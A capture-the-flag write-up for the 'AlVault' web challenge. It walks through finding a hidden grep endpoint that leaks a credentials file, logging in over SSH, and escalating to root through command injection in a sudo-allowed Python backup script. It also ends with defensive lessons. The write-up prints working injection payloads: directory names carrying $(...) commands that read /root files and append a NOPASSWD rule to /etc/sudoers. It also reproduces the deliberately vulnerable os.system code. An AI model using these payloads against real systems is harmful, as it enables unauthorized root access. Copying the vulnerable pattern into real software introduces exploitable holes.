AlVault - Medium CTF Writeup

Category: WEB Difficulty: Medium Flags: 2 (User + Root)

Challenge: https://hackerdna.com

Contents

Reconnaissance

Only two ports open:

  • 22 - SSH (OpenSSH 9.9)
  • 80 - HTTP (nginx, PHP 8.3.18)

robots.txt reveals three blocked paths:

User-agent: *
Disallow: /dev/
Disallow: /backup/
Disallow: /admin/

Enumeration

Path Description
/dev/notes.txt Dev notes from john (DevOps Team)
/dev/search.php “Ultimate File Finder” — static HTML, always returns “TRY HARDER!”
/dev/upload.php File upload — always says success, files saved to /tmp/uploads121212112121212/
/dev/file_search.php Hidden grep-based file search tool (NOT listed in robots.txt)
/dev/old_search.php Disabled old implementation — hardcoded “File not found.”
/backup/ 403 Forbidden
/admin/ HTTP Basic Auth (401)
/.htpasswd admin:$apr1$salt1234$iHNzr3eR9mQrHG1ICLUaX/

Key finding: robots.txt blocks /dev/ but only lists search.php, upload.php, and old_search.php. The real vulnerability lives in /dev/file_search.php — discovered via directory brute-forcing (e.g., gobuster with a filename wordlist).

Exploitation

Step 1 - Credential Extraction via file_search.php

The file_search.php endpoint takes a pattern POST parameter and runs a grep search across files in /var/www/html/backup/. Searching with .* dumps all file contents:

curl -X POST http://TARGET/dev/file_search.php --data-urlencode 'pattern=.*'

This reveals /var/www/html/backup/credentials.txt:

### INTERNAL USE ONLY - DO NOT SHARE ###
Last backup from prod server - 2024-01-15

Database:
Host: prod-db-master.internal
Port: 5432
Database: customer_portal
User: app_user
Pass: DbP@ss2024Prod!

Application Servers:
SSH User: developer
SSH Pass: C0d3R_2023!

Redis Cache:
Host: prod-redis-01.internal
Port: 6379
Auth: RedisAuth2024#

AWS Access Keys:
Access Key ID: AKIA4EXAMPLE123456789
Secret Key: a1b2c3d4e5f6g7h8i9j0/k1l2m3n4o5p6

Step 2 - SSH Access

SSH in with the discovered credentials:

sshpass -p 'C0d3R_2023!' ssh developer@TARGET
cat ~/flag-user.txt
# bad6320b-fd56-4680-5a94-f8ac1e034418

Privilege Escalation

The developer user has passwordless sudo for one command:

sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/backup.py

The backup script /opt/backup.py has a command injection vulnerability:

import os
import sys

RESTRICTED_DIRS = ["/", "/root", "/etc", "/bin", "/sbin", "/usr",
                   "/var", "/lib", "/lib64", "/dev", "/proc", "/sys",
                   "/run", "/boot"]

def backup_files(directory):
    directory = os.path.abspath(directory)
    if directory in RESTRICTED_DIRS:
        print(f"Error: Backup of {directory} is not allowed.")
        return
    if not os.path.isdir(directory):
        print(f"Error: {directory} is not a valid directory.")
        return
    backup_path = "/tmp/backup.tar.gz"
    os.system(f"tar -czf {backup_path} {directory}")
    print(f"Backup of {directory} created at {backup_path}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        directory = input("Enter directory to backup: ")
        backup_files(directory)
    else:
        backup_files(sys.argv[1])

The bug: os.system() passes user input directly to a shell. The restricted directory check is exact-match only, and os.path.abspath() does NOT sanitize shell metacharacters.

Step 3 - Read Root Flag

Create a directory whose literal name contains $(...):

mkdir -p '/tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)'

Trigger backup as root via the injection:

echo '/tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)' | sudo /usr/bin/python3 /opt/backup.py

The shell command executed as root was:

tar -czf /tmp/backup.tar.gz /tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)

The $(...) was evaluated before tar ran, writing the root flag to /tmp/rf.txt:

cat /tmp/rf.txt
# b1d5ffb1-3a67-498b-3ba8-fa463d5eb32a

Step 4 - Full Root Shell

Inject a sudoers entry via the same technique:

mkdir -p '/tmp/x$(echo "developer ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers)'
echo '/tmp/x$(echo "developer ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers)' | sudo /usr/bin/python3 /opt/backup.py

Spawn a root shell:

sudo /bin/bash -p
# uid=0(root) gid=0(root) groups=0(root)

Why not SUID? Setting chmod u+s /bin/bash via the same injection sets the bit, but the container’s seccomp filter (level 2) blocks the setuid() syscall at exec time. /bin/bash -p then runs as the original user. The sudoers injection method is more reliable — it grants NOPASSWD sudo access legitimately.

Lessons Learned

  1. Hidden endpoints — robots.txt is not exhaustive. Always directory-brute-force to find unlisted files.
  2. Information disclosure — Sensitive credentials stored in a web-accessible backup file.
  3. Command injection via os.system() — Never pass user input to shell commands unsanitized. Use subprocess.run() with argument lists instead.
  4. Insufficient input validation — The restricted directory check uses exact-match comparison, trivially bypassed.
  5. Overly broad sudo permissions — Running a script that accepts arbitrary directory input as root is inherently dangerous.
  6. SUID in containers — seccomp filters can silently block setuid syscalls. Abuse of existing sudo configurations is more reliable.